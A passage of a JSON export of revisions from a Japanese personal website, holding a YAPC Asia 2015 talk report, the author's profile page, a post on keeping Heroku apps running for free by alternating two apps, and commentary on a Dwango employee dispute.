2015\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003eDocker という単語が後ろに行くだけでブックマーク数が半分になる\u003c/p\u003e— チャレンジ (@fuba) \u003ca href=\"https://twitter.com/fuba/status/634326678655733760\"\u003eAugust 20, 2015\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\nというような内容。スライドの後半にはいい文章書くにはみたいな話もあったんだけど時間なくてそこはかっとばされてた。あとは「僕がブログ書くときの哲学」みたいな話とかしてたけど、わりとどうでもいい感じだった。\r\n\r\n「人は先頭しか読まない」ということをいってたので質疑応答で「先頭しか読まれてないのとちゃんと読まれてたのをブクマの傾向から推し量ることはできるのではないか、またちゃんと読まれるのと読まれないエントリの違いはあるか」みたいな質問をしたのだけど、質問意図が伝わらなかったのかはぐらかされたのか知らないけどちゃんと答えてもらえなかった。\r\n\r\n「先頭しか読まない」って分かってるならちゃんと人々がエントリ読んでいくような仕組み作るのがはてなのお前らの仕事なんじゃないのかと思って、それについても質問しようと思ったのだけどもう無駄だなと思って聞かなかった。\r\n\r\n人間大抵得点が表示されるものには弱くて得点が出るだけでめっちゃ嬉しい!!!みたいになるものだと思う。また文章で何かを表現したい!!!という感情も多くの人が抱くものなのではないか。それが悪魔合体すると文章ではてなブックマーク数を稼ぎたい!!!ということになるが、このような精神は不毛極まるものとしか言いようがない。\r\n\r\nいや不毛でしょ、だって自社サービスのユーザーを「みんな先頭しか読まないし、アメリカやアカデミズムに弱い」とかバカにするような人間性が不毛でないとは僕は絶対に思わない。\r\n\r\n得点を競いたいなら得点を競うために設計されているもの、スポーツやゲームで得点を競って、はてなブックマーク数で競わない方がいいなと思いました。気をつけましょう。\r\n\r\n### 言語開発の現場\r\n[@hsbt](http://twitter.com/hsbt) の発表。\r\n\r\n遅れたので質疑応答のうしろのほうしか聞けてない。 Ruby コミッターやってると Ruby あんま書けなくて辛いとか、みんなで Matz のイタコしてるようなもんなので辛いみたいな話をしていて、楽しそうだった。\r\n\r\n### Perlワンライナー入門\r\nこのトークは本当にすごくて、質疑応答の時に\r\n\r\n「ワンライナー書くのによく使う CPAN モジュールは何ですか」って聞かれて発表者がその場でワンライナー書いて history からよく使うモジュールを抽出していた。発表の練習のせいで history 汚染されててあんまり意味のある結果は得られてなかったんだけど、ワンライナー職人をやっているとテキストファイルから意味のある知識を一瞬で抽出できるようになるというのを最も説得力ある形で示していた。\r\n\r\n僕は「ワンライナーってデバッグとか辛くないですか」みたいなことを質問したのだけど「デバッグ辛いようならワンライナーで解決するのがそもそも間違ってる」との回答。まあそりゃそうだな、、、\r\n\r\n### どうしてもPerlでドローンを飛ばしたい人のためのハードウェアハック概論\r\n[@mackee_w](https://twitter.com/mackee_w) の発表\r\n\r\nPlack で動くサーバーのせた Edison 積んだドローンを自作するという話。\r\n\r\n多分多くの人が聞きたかった内容は\r\n\r\n- Parrot の SDK 使って Bebop Drone を Perl で制御しました\r\n\r\nみたいな感じの話だと思うし、本当に実用的な道はそっちだと思う。が、そんなことは知ったことか、作りたいから作るんだ!!!みたいな熱さがあった。\r\n\r\n質疑応答で「対地速度とれたら制御安定するのでは?」と質問したところ「光学マウスをチップ化したかっこいいデバイスがあるのでそれとカメラで対地速度とれると思う」とのこと。かっこいいデバイスかっこいいので僕もいろいろやっていこうと思いました。\r\n\r\n### Perlの上にも三年 〜 ずっとイケてるサービスを作り続ける技術 〜\r\nid:hitode909 の発表\r\n\r\n正直なところ Perl 使わなければこんなに辛くならないのでは?具体的には Sinatra でええやんみたいに思った。\r\n\r\n懇親会で「ここでサービスと呼ばれてるものまで含めてモデルであるという思想もあると思うがそのあたりどうか」という観点でちょっとした討論をしたところ「テーブルと 1:1 で繋がってるものだけをモデルと呼んでそれ以外はサービスと呼ぶのが単純でよい」という思想とのことだった。\r\n\r\n僕は継承でめっちゃモデルが肥大化して最終的に生成されるモデルがどのようなものか誰も知らないみたいな状態になってもさほど問題ないと考えているので全部モデルと呼べばいいと思っている。人それぞれだろう。\r\n\r\n### Electron: Building desktop apps with web technologies\r\nBen Ogle の発表。\r\n\r\nElectron の概説。これ聞きにきてる人はみんなこれは知ってるのではみたいな内容。\r\n\r\n### esa.io - 趣味から育てたWebサービスで生きていく\r\n[@fukayatsu](http://twitter.comfukayatsu) の発表。\r\n\r\n正直なところ次の LT 聞くために座席確保するみたいな目的でその場にいただけなのであんまり話聞いてない。「キャラなりきりするとテンションあがる」みたいなこと言ってみんなちょっと失笑してたのがよかった。「アプリ使ってくれるような人脈があると起業は有利」みたいな話だなと思いました。\r\n\r\n### LT 1 日目\r\npapix さんの\r\n\r\n- 障害検知\r\n- チームメンバーへの通報\r\n- コミュニケーションのためのチャットの設置\r\n- 対応記録残すため Wiki 作成\r\n\r\nまでを SaaS 使って作りましょうみたいな話がよかった。対応記録を手書きするみたいのはあんまりいいアイディアではない気がしていて、障害対応チャットルームみたいのが作られる仕組みがあるならもうそのチャットログがそのまま Wiki に記録されるとかでいいのではないかと思った。障害対応したあとに Wiki にその記録をちゃんと書くみたいな体力が残っていることをあまり期待しないほうがいいし、後日記録を書くみたいなアプローチだと正確性がどうしても下る。\r\n\r\nだったらチャットの生ログがあればそれで十分ではないか。\r\n\r\n### 全体的な話\r\n今回は質疑応答の時間が十分に長くとられていて本当によかった。質疑応答が無いならブログを読めばそれで十分という話で、勉強会で一番重要なのは質疑応答の時間だと思う。トークをぎっちぎちに詰めて「時間無いんで質疑応答は懇親会で!!!」みたいになってるのは本当に意味ない。それなら飲み会だけ開催したらいい。","created_at":"2015-08-21T23:05:16.000Z","updated_at":"2015-08-21T23:05:16.000Z"},{"id":2917,"name":"text/YAPC_Asia_2015_0-1","body":"%blog% Docker についてアメリカの大学で工学博士から英語で話を聞いてきました\r\n\r\nというわけで YAPC Asia 2015 の 0-1 日目のレポートです。\r\n\r\n### [技術ブログを書くことについて語るときに僕の語ること](http://yapcasia.org/2015/talk/show/7d62caf8-12f4-11e5-881c-d9f87d574c3a)\r\nはてな社員 id:y_uuki の発表。技術ブログ書いてブクマ稼ぐにはみたいな話。\r\n\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003e人間は先頭しか読まない、日本人はアメリカに弱い、はてなブックマーカーはアカデミズムに弱い、信じられないレベルで役に立つ知見だ\u003c/p\u003e— チャレンジ (@fuba) \u003ca href=\"https://twitter.com/fuba/status/634326559684345856\"\u003eAugust 20, 2015\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003eDocker という単語が後ろに行くだけでブックマーク数が半分になる\u003c/p\u003e— チャレンジ (@fuba) \u003ca href=\"https://twitter.com/fuba/status/634326678655733760\"\u003eAugust 20, 2015\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\nというような内容。スライドの後半にはいい文章書くにはみたいな話もあったんだけど時間なくてそこはかっとばされてた。あとは「僕がブログ書くときの哲学」みたいな話とかしてたけど、わりとどうでもいい感じだった。\r\n\r\n「人は先頭しか読まない」ということをいってたので質疑応答で「先頭しか読まれてないのとちゃんと読まれてたのをブクマの傾向から推し量ることはできるのではないか、またちゃんと読まれるのと読まれないエントリの違いはあるか」みたいな質問をしたのだけど、質問意図が伝わらなかったのかはぐらかされたのか知らないけどちゃんと答えてもらえなかった。\r\n\r\n「先頭しか読まない」って分かってるならちゃんと人々がエントリ読んでいくような仕組み作るのがはてなのお前らの仕事なんじゃないのかと思って、それについても質問しようと思ったのだけどもう無駄だなと思って聞かなかった。\r\n\r\n人間大抵得点が表示されるものには弱くて得点が出るだけでめっちゃ嬉しい!!!みたいになるものだと思う。また文章で何かを表現したい!!!という感情も多くの人が抱くものなのではないか。それが悪魔合体すると文章ではてなブックマーク数を稼ぎたい!!!ということになるが、このような精神は不毛極まるものとしか言いようがない。\r\n\r\nいや不毛でしょ、だって自社サービスのユーザーを「みんな先頭しか読まないし、アメリカやアカデミズムに弱い」とかバカにするような人間性が不毛でないとは僕は絶対に思わない。\r\n\r\n得点を競いたいなら得点を競うために設計されているもの、スポーツやゲームで得点を競って、はてなブックマーク数で競わない方がいいなと思いました。気をつけましょう。\r\n\r\n### 言語開発の現場\r\n[@hsbt](http://twitter.com/hsbt) の発表。\r\n\r\n遅れたので質疑応答のうしろのほうしか聞けてない。 Ruby コミッターやってると Ruby あんま書けなくて辛いとか、みんなで Matz のイタコしてるようなもんなので辛いみたいな話をしていて、楽しそうだった。\r\n\r\n### Perlワンライナー入門\r\nこのトークは本当にすごくて、質疑応答の時に\r\n\r\n「ワンライナー書くのによく使う CPAN モジュールは何ですか」って聞かれて発表者がその場でワンライナー書いて history からよく使うモジュールを抽出していた。発表の練習のせいで history 汚染されててあんまり意味のある結果は得られてなかったんだけど、ワンライナー職人をやっているとテキストファイルから意味のある知識を一瞬で抽出できるようになるというのを最も説得力ある形で示していた。\r\n\r\n僕は「ワンライナーってデバッグとか辛くないですか」みたいなことを質問したのだけど「デバッグ辛いようならワンライナーで解決するのがそもそも間違ってる」との回答。まあそりゃそうだな、、、\r\n\r\n### どうしてもPerlでドローンを飛ばしたい人のためのハードウェアハック概論\r\n[@mackee_w](https://twitter.com/mackee_w) の発表\r\n\r\nPlack で動くサーバーのせた Edison 積んだドローンを自作するという話。\r\n\r\n多分多くの人が聞きたかった内容は\r\n\r\n- Parrot の SDK 使って Bebop Drone を Perl で制御しました\r\n\r\nみたいな感じの話だと思うし、本当に実用的な道はそっちだと思う。が、そんなことは知ったことか、作りたいから作るんだ!!!みたいな熱さがあった。\r\n\r\n質疑応答で「対地速度とれたら制御安定するのでは?」と質問したところ「光学マウスをチップ化したかっこいいデバイスがあるのでそれとカメラで対地速度とれると思う」とのこと。かっこいいデバイスかっこいいので僕もいろいろやっていこうと思いました。\r\n\r\n### Perlの上にも三年 〜 ずっとイケてるサービスを作り続ける技術 〜\r\nid:hitode909 の発表\r\n\r\n正直なところ Perl 使わなければこんなに辛くならないのでは?具体的には Sinatra でええやんみたいに思った。\r\n\r\n懇親会で「ここでサービスと呼ばれてるものまで含めてモデルであるという思想もあると思うがそのあたりどうか」という観点でちょっとした討論をしたところ「テーブルと 1:1 で繋がってるものだけをモデルと呼んでそれ以外はサービスと呼ぶのが単純でよい」という思想とのことだった。\r\n\r\n僕は継承でめっちゃモデルが肥大化して最終的に生成されるモデルがどのようなものか誰も知らないみたいな状態になってもさほど問題ないと考えているので全部モデルと呼べばいいと思っている。人それぞれだろう。\r\n\r\n### Electron: Building desktop apps with web technologies\r\nBen Ogle の発表。\r\n\r\nElectron の概説。これ聞きにきてる人はみんなこれは知ってるのではみたいな内容。\r\n\r\n### esa.io - 趣味から育てたWebサービスで生きていく\r\n[@fukayatsu](http://twitter.comfukayatsu) の発表。\r\n\r\n正直なところ次の LT 聞くために座席確保するみたいな目的でその場にいただけなのであんまり話聞いてない。「キャラなりきりするとテンションあがる」みたいなこと言ってみんなちょっと失笑してたのがよかった。「アプリ使ってくれるような人脈があると起業は有利」みたいな話だなと思いました。\r\n\r\n### LT 1 日目\r\npapix さんの\r\n\r\n- 障害検知\r\n- チームメンバーへの通報\r\n- コミュニケーションのためのチャットの設置\r\n- 対応記録残すため Wiki 作成\r\n\r\nまでを SaaS 使って作りましょうみたいな話がよかった。対応記録を手書きするみたいのはあんまりいいアイディアではない気がしていて、障害対応チャットルームみたいのが作られる仕組みがあるならもうそのチャットログがそのまま Wiki に記録されるとかでいいのではないかと思った。障害対応したあとに Wiki にその記録をちゃんと書くみたいな体力が残っていることをあまり期待しないほうがいいし、後日記録を書くみたいなアプローチだと正確性がどうしても下る。\r\n\r\nだったらチャットの生ログがあればそれで十分ではないか。\r\n\r\n### 懇親会\r\nScala のビルドが遅いみたいな話を解決するにはマイクロサービス化だ!!!みたいな感じでゲラゲラ笑ってたのがよかった。\r\n\r\nあと Smalltalk やってる会社が名古屋の方にあるという話が聞けたのも渋くてよかった。名古屋や東京にも関西にも絶妙に遠くて経済圏としても規模がそこそこにある結果独自の興味深い生態系が発生していると前々から思っている。\r\n\r\n### 全体的な話\r\n今回は質疑応答の時間が十分に長くとられていて本当によかった。質疑応答が無いならブログを読めばそれで十分という話で、勉強会で一番重要なのは質疑応答の時間だと思う。トークをぎっちぎちに詰めて「時間無いんで質疑応答は懇親会で!!!」みたいになってるのは本当に意味ない。それなら飲み会だけ開催したらいい。","created_at":"2015-08-21T23:09:06.000Z","updated_at":"2015-08-21T23:09:06.000Z"},{"id":2918,"name":"text/YAPC_Asia_2015_0-1","body":"%blog% Docker についてアメリカの大学で工学博士から英語で話を聞いてきました\r\n\r\nというわけで YAPC Asia 2015 の 0-1 日目のレポートです。\r\n\r\n### [技術ブログを書くことについて語るときに僕の語ること](http://yapcasia.org/2015/talk/show/7d62caf8-12f4-11e5-881c-d9f87d574c3a)\r\nはてな社員 id:y_uuki の発表。技術ブログ書いてブクマ稼ぐにはみたいな話。\r\n\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003e人間は先頭しか読まない、日本人はアメリカに弱い、はてなブックマーカーはアカデミズムに弱い、信じられないレベルで役に立つ知見だ\u003c/p\u003e— チャレンジ (@fuba) \u003ca href=\"https://twitter.com/fuba/status/634326559684345856\"\u003eAugust 20, 2015\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003eDocker という単語が後ろに行くだけでブックマーク数が半分になる\u003c/p\u003e— チャレンジ (@fuba) \u003ca href=\"https://twitter.com/fuba/status/634326678655733760\"\u003eAugust 20, 2015\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\nというような内容。スライドの後半にはいい文章書くにはみたいな話もあったんだけど時間なくてそこはかっとばされてた。あとは「僕がブログ書くときの哲学」みたいな話とかしてたけど、わりとどうでもいい感じだった。\r\n\r\n「人は先頭しか読まない」ということをいってたので質疑応答で「先頭しか読まれてないのとちゃんと読まれてたのをブクマの傾向から推し量ることはできるのではないか、またちゃんと読まれるのと読まれないエントリの違いはあるか」みたいな質問をしたのだけど、質問意図が伝わらなかったのかはぐらかされたのか知らないけどちゃんと答えてもらえなかった。\r\n\r\n「先頭しか読まない」って分かってるならちゃんと人々がエントリ読んでいくような仕組み作るのがはてなのお前らの仕事なんじゃないのかと思って、それについても質問しようと思ったのだけどもう無駄だなと思って聞かなかった。\r\n\r\n人間大抵得点が表示されるものには弱くて得点が出るだけでめっちゃ嬉しい!!!みたいになるものだと思う。また文章で何かを表現したい!!!という感情も多くの人が抱くものなのではないか。それが悪魔合体すると文章ではてなブックマーク数を稼ぎたい!!!ということになるが、このような精神は不毛極まるものとしか言いようがない。\r\n\r\nいや不毛でしょ、だって自社サービスのユーザーを「みんな先頭しか読まないし、アメリカやアカデミズムに弱い」とかバカにするような人間性が不毛でないとは僕は絶対に思わない。\r\n\r\n得点を競いたいなら得点を競うために設計されているもの、スポーツやゲームで得点を競って、はてなブックマーク数で競わない方がいいなと思いました。気をつけましょう。\r\n\r\n### 言語開発の現場\r\n[@hsbt](http://twitter.com/hsbt) の発表。\r\n\r\n遅れたので質疑応答のうしろのほうしか聞けてない。 Ruby コミッターやってると Ruby あんま書けなくて辛いとか、みんなで Matz のイタコしてるようなもんなので辛いみたいな話をしていて、楽しそうだった。\r\n\r\n### Perlワンライナー入門\r\nこのトークは本当にすごくて、質疑応答の時に\r\n\r\n「ワンライナー書くのによく使う CPAN モジュールは何ですか」って聞かれて発表者がその場でワンライナー書いて history からよく使うモジュールを抽出していた。発表の練習のせいで history 汚染されててあんまり意味のある結果は得られてなかったんだけど、ワンライナー職人をやっているとテキストファイルから意味のある知識を一瞬で抽出できるようになるというのを最も説得力ある形で示していた。\r\n\r\n僕は「ワンライナーってデバッグとか辛くないですか」みたいなことを質問したのだけど「デバッグ辛いようならワンライナーで解決するのがそもそも間違ってる」との回答。まあそりゃそうだな、、、\r\n\r\n### どうしてもPerlでドローンを飛ばしたい人のためのハードウェアハック概論\r\n[@mackee_w](https://twitter.com/mackee_w) の発表\r\n\r\nPlack で動くサーバーのせた Edison 積んだドローンを自作するという話。\r\n\r\n多分多くの人が聞きたかった内容は\r\n\r\n- Parrot の SDK 使って Bebop Drone を Perl で制御しました\r\n\r\nみたいな感じの話だと思うし、本当に実用的な道はそっちだと思う。が、そんなことは知ったことか、作りたいから作るんだ!!!みたいな熱さがあった。\r\n\r\n質疑応答で「対地速度とれたら制御安定するのでは?」と質問したところ「光学マウスをチップ化したかっこいいデバイスがあるのでそれとカメラで対地速度とれると思う」とのこと。かっこいいデバイスかっこいいので僕もいろいろやっていこうと思いました。\r\n\r\n### Perlの上にも三年 〜 ずっとイケてるサービスを作り続ける技術 〜\r\nid:hitode909 の発表\r\n\r\n正直なところ Perl 使わなければこんなに辛くならないのでは?具体的には Sinatra でええやんみたいに思った。\r\n\r\n懇親会で「ここでサービスと呼ばれてるものまで含めてモデルであるという思想もあると思うがそのあたりどうか」という観点でちょっとした討論をしたところ「テーブルと 1:1 で繋がってるものだけをモデルと呼んでそれ以外はサービスと呼ぶのが単純でよい」という思想とのことだった。\r\n\r\n僕は継承でめっちゃモデルが肥大化して最終的に生成されるモデルがどのようなものか誰も知らないみたいな状態になってもさほど問題ないと考えているので全部モデルと呼べばいいと思っている。人それぞれだろう。\r\n\r\n### Electron: Building desktop apps with web technologies\r\nBen Ogle の発表。\r\n\r\nElectron の概説。これ聞きにきてる人はみんなこれは知ってるのではみたいな内容。\r\n\r\n### esa.io - 趣味から育てたWebサービスで生きていく\r\n[@fukayatsu](http://twitter.comfukayatsu) の発表。\r\n\r\n正直なところ次の LT 聞くために座席確保するみたいな目的でその場にいただけなのであんまり話聞いてない。「キャラなりきりするとテンションあがる」みたいなこと言ってみんなちょっと失笑してたのがよかった。「アプリ使ってくれるような人脈があると起業は有利」みたいな話だなと思いました。\r\n\r\n### LT 1 日目\r\npapix さんの\r\n\r\n- 障害検知\r\n- チームメンバーへの通報\r\n- コミュニケーションのためのチャットの設置\r\n- 対応記録残すため Wiki 作成\r\n\r\nまでを SaaS 使って作りましょうみたいな話がよかった。対応記録を手書きするみたいのはあんまりいいアイディアではない気がしていて、障害対応チャットルームみたいのが作られる仕組みがあるならもうそのチャットログがそのまま Wiki に記録されるとかでいいのではないかと思った。障害対応したあとに Wiki にその記録をちゃんと書くみたいな体力が残っていることをあまり期待しないほうがいいし、後日記録を書くみたいなアプローチだと正確性がどうしても下る。\r\n\r\nだったらチャットの生ログがあればそれで十分ではないか。\r\n\r\n### 懇親会\r\nScala のビルドが遅いみたいな話を解決するにはマイクロサービス化だ!!!みたいな感じでゲラゲラ笑ってたのがよかった。\r\n\r\nあと Smalltalk やってる会社が名古屋の方にあるという話が聞けたのも渋くてよかった。名古屋は東京にも関西にも絶妙に遠くて経済圏としても規模がそこそこにある結果独自の興味深い生態系が発生していると前々から思っている。\r\n\r\n### 全体的な話\r\n今回は質疑応答の時間が十分に長くとられていて本当によかった。質疑応答が無いならブログを読めばそれで十分という話で、勉強会で一番重要なのは質疑応答の時間だと思う。トークをぎっちぎちに詰めて「時間無いんで質疑応答は懇親会で!!!」みたいになってるのは本当に意味ない。それなら飲み会だけ開催したらいい。","created_at":"2015-08-22T02:04:58.000Z","updated_at":"2015-08-22T02:04:58.000Z"},{"id":2919,"name":"index","body":"\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n# ssig33.com\r\n\r\n## Contents \u0026 Service\r\n\r\n[Texts](http://ssig33.com/text) \r\n\r\n[Rolling Icon](http://icon.ssig33.com) *Twitter Icon Manager that's very cool.*\r\n\r\n[Money Please](http://kanekure.ssig33.com) *KANEKURE Platform*\r\n\r\n[Tumblelog](http://tumblelog.ssig33.com) *powered by Tumblr*\r\n\r\n[Contact Infomation](/連絡先) (for Japanese)\r\n\r\n[Recent Update of This Site](/recent)\r\n\r\n[others](/others)\r\n\r\n## Profile\r\n**Name :** Rick Koike (ssig33) \r\n**Mail :** mail@ssig33.com \r\n**Phone :** +81 90 1450 2501 \r\n**Living at: SECRET** \r\n**Twitter :** [ssig33](http://twitter.com/ssig33) \r\n**Facebook :** [ssig33](http://facebook.com/ssig33) \r\n**Skype :** live:ssig33skype \r\n**Job :** Scinario Writer, Software Engineer \r\n**Face :** \r\n![img](http://s.ssig33.com/gyazo/e57816f0ef6c4afc88b1f38649c812b3)\r\n\r\n## Skill\r\n- Ruby\r\n- Ruby on Rails\r\n- Sinatra\r\n- MySQL\r\n- MongoDB\r\n- RSpec\r\n- Behavior Driven Development\r\n- JavaScript \u0026 Ajax \u0026 HTML5\r\n- HTML \u0026 CSS\r\n- Japanese\r\n- English(a bit)\r\n- Know much about History of Nanbokucho(JPN), Muromachi(JPN), and Sanguozhi(CN)\r\n\r\n\u003cmeta name=\"imagefront-domain-verification\" content=\"d96ef64e-c49b-11e3-87f6-56847afe9799\" /\u003e","created_at":"2015-08-22T23:04:35.000Z","updated_at":"2015-08-22T23:04:35.000Z"},{"id":2920,"name":"index","body":"\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n# ssig33.com\r\n\r\n## Contents \u0026 Service\r\n\r\n[Texts](http://ssig33.com/text) \r\n\r\n[Rolling Icon](http://icon.ssig33.com) *Twitter Icon Manager that's very cool.*\r\n\r\n[Money Please](http://kanekure.ssig33.com) *KANEKURE Platform*\r\n\r\n[Tumblelog](http://tumblelog.ssig33.com) *powered by Tumblr*\r\n\r\n[Contact Infomation](/連絡先) (for Japanese)\r\n\r\n[Recent Update of This Site](/recent)\r\n\r\n[others](/others)\r\n\r\n## Profile\r\n**Name :** Rick Koike (ssig33) \r\n**Mail :** mail@ssig33.com \r\n**Phone :** +81 90 1450 2501 \r\n**Living at: SECRET** \r\n**Twitter :** [ssig33](http://twitter.com/ssig33) \r\n**Facebook :** [ssig33](http://facebook.com/ssig33) \r\n**Skype :** live:ssig33skype \r\n**Job :** Scinario Writer, Software Engineer \r\n**Face :** \r\n![img](http://s.ssig33.com/files/1204386d77054ac48fd692326ce0b0ee)\r\n\r\n## Skill\r\n- Ruby\r\n- Ruby on Rails\r\n- Sinatra\r\n- MySQL\r\n- MongoDB\r\n- RSpec\r\n- Behavior Driven Development\r\n- JavaScript \u0026 Ajax \u0026 HTML5\r\n- HTML \u0026 CSS\r\n- Japanese\r\n- English(a bit)\r\n- Know much about History of Nanbokucho(JPN), Muromachi(JPN), and Sanguozhi(CN)\r\n\r\n\u003cmeta name=\"imagefront-domain-verification\" content=\"d96ef64e-c49b-11e3-87f6-56847afe9799\" /\u003e","created_at":"2015-08-25T08:25:08.000Z","updated_at":"2015-08-25T08:25:08.000Z"},{"id":2921,"name":"text/最悪!意地でも Heroku を無料で使う","body":"%blog%\r\n\r\nHeroku は最近料金体系に変更があって、無料では一日 18 時間までしかアプリを起動できなくなりました。\r\n\r\n自分専用のアプリとかそういうものなら全く問題はないのですが、それなりにユーザーがついているようなアプリだとなんだかんだで 24 時間 Dyno が起動しっぱなしということはおおいと思います。\r\n\r\n一番安いプランは 7 ドルで、とりあえずこれだけ払えば 24 時間 Dyno を起動しっぱなしにできます。\r\n\r\n公開しているアプリが 1 個ならまあ 7 ドルぐらい払っとけよで済む話なのですが、私のように 18 時間制限にひっかかってるアプリが 30 個もあるとなると 210 ドルを払うのは躊躇してしまいます。\r\n\r\nということで今日は石に齧りついてでも Heroku をタダで使う方法を考えていきます。\r\n\r\n### 基本的なアイディア\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003eHeroku でアプリ 2 個用意して、同じ DB 向くようにして、 12 時間ごとにドメイン切り替えるという戦法で無料で 24 時間起動しっぱなしのアプリというものが実現した!!!最悪!!!\u003c/p\u003e\u0026mdash; キウイ (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/633546708920610816\"\u003eAugust 18, 2015\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\n### 実装\r\n\u003cscript src=\"https://gist.github.com/ssig33/4aafe9bb6e3eea27c5dd.js\"\u003e\u003c/script\u003e\r\n\r\nこれを Heroku Scheduler で叩く。","created_at":"2015-08-25T09:46:32.000Z","updated_at":"2015-08-25T09:46:32.000Z"},{"id":2922,"name":"text/最悪!意地でも Heroku を無料で使う","body":"%blog%\r\n\r\nHeroku は最近料金体系に変更があって、無料では一日 18 時間までしかアプリを起動できなくなりました。\r\n\r\n自分専用のアプリとかそういうものなら全く問題はないのですが、それなりにユーザーがついているようなアプリだとなんだかんだで 24 時間 Dyno が起動しっぱなしということはおおいと思います。\r\n\r\n一番安いプランは 7 ドルで、とりあえずこれだけ払えば 24 時間 Dyno を起動しっぱなしにできます。\r\n\r\n公開しているアプリが 1 個ならまあ 7 ドルぐらい払っとけよで済む話なのですが、私のように 18 時間制限にひっかかってるアプリが 30 個もあるとなると 210 ドルを払うのは躊躇してしまいます。\r\n\r\nということで今日は石に齧りついてでも Heroku をタダで使う方法を考えていきます。\r\n\r\n### 基本的なアイディア\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003eHeroku でアプリ 2 個用意して、同じ DB 向くようにして、 12 時間ごとにドメイン切り替えるという戦法で無料で 24 時間起動しっぱなしのアプリというものが実現した!!!最悪!!!\u003c/p\u003e— キウイ (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/633546708920610816\"\u003eAugust 18, 2015\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\n### 実装\r\n\u003cscript src=\"https://gist.github.com/ssig33/4aafe9bb6e3eea27c5dd.js\"\u003e\u003c/script\u003e\r\n\r\nこれを Heroku Scheduler で叩く。\r\n\r\n### その後\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003eあれあまりにもひどいから、一日 6 時間は Heroku 以外でアプリ動くようにしてみた\u003c/p\u003e\u0026mdash; キウイ (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/636338967848202240\"\u003eAugust 26, 2015\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e","created_at":"2015-08-26T00:50:37.000Z","updated_at":"2015-08-26T00:50:37.000Z"},{"id":2923,"name":"text/ドワンゴもめ事の一番面白い点","body":"%blog%\r\n\r\n\u003e 最後は総務部を追い出し部屋にしたことです。やめさせたい人間をグループウェアから登録解除し、総務部という名前を持った統合思念体に統一し、PCも共有で1台しか与えない。昨日までエンジニアをしていた人間がスーツを着て社内を歩いて備品の補充をする。そんなことが許されていました。\r\n\u003e\r\n\u003e [ドワンゴは大量退職に関する印象操作をやめろ - hiroki-uemuraのブログ](http://hiroki-uemura.hateblo.jp/entry/2015/09/01/230611)\r\n\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003e一番大きなのは給与の問題。ソシャゲバブルのタイミング。開発環境の問題。インフラの問題。そのほかいろいろな理由。ほぼ、事実認識としては間違ってないじゃん。ニュアンスの違いは立場が違うからしょうがない / “ドワンゴは大量退職に関する…” \u003ca href=\"http://t.co/cEZY0Pa9zf\"\u003ehttp://t.co/cEZY0Pa9zf\u003c/a\u003e\u003c/p\u003e\u0026mdash; kadongo38 (@kadongo38) \u003ca href=\"https://twitter.com/kadongo38/status/638743660108976128\"\u003eSeptember 1, 2015\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003eドワンゴ川上、 kuzuha のエントリが事実として間違ってないといってるし、総務部を退職強要に用いていたという点についても特に否定しないので、ドワンゴはかつてそのようなパワーハラスメントをしている犯罪企業だったということですね。\u003c/p\u003e\u0026mdash; おしゃれ大魔神処女みよし (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/638881453112078336\"\u003eSeptember 2, 2015\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e","created_at":"2015-09-02T01:15:26.000Z","updated_at":"2015-09-02T01:15:26.000Z"},{"id":2924,"name":"text/ドワンゴもめ事の一番面白い点","body":"%blog%\r\n\r\n\u003e 最後は総務部を追い出し部屋にしたことです。やめさせたい人間をグループウェアから登録解除し、総務部という名前を持った統合思念体に統一し、PCも共有で1台しか与えない。昨日までエンジニアをしていた人間がスーツを着て社内を歩いて備品の補充をする。そんなことが許されていました。\r\n\u003e\r\n\u003e [ドワンゴは大量退職に関する印象操作をやめろ - 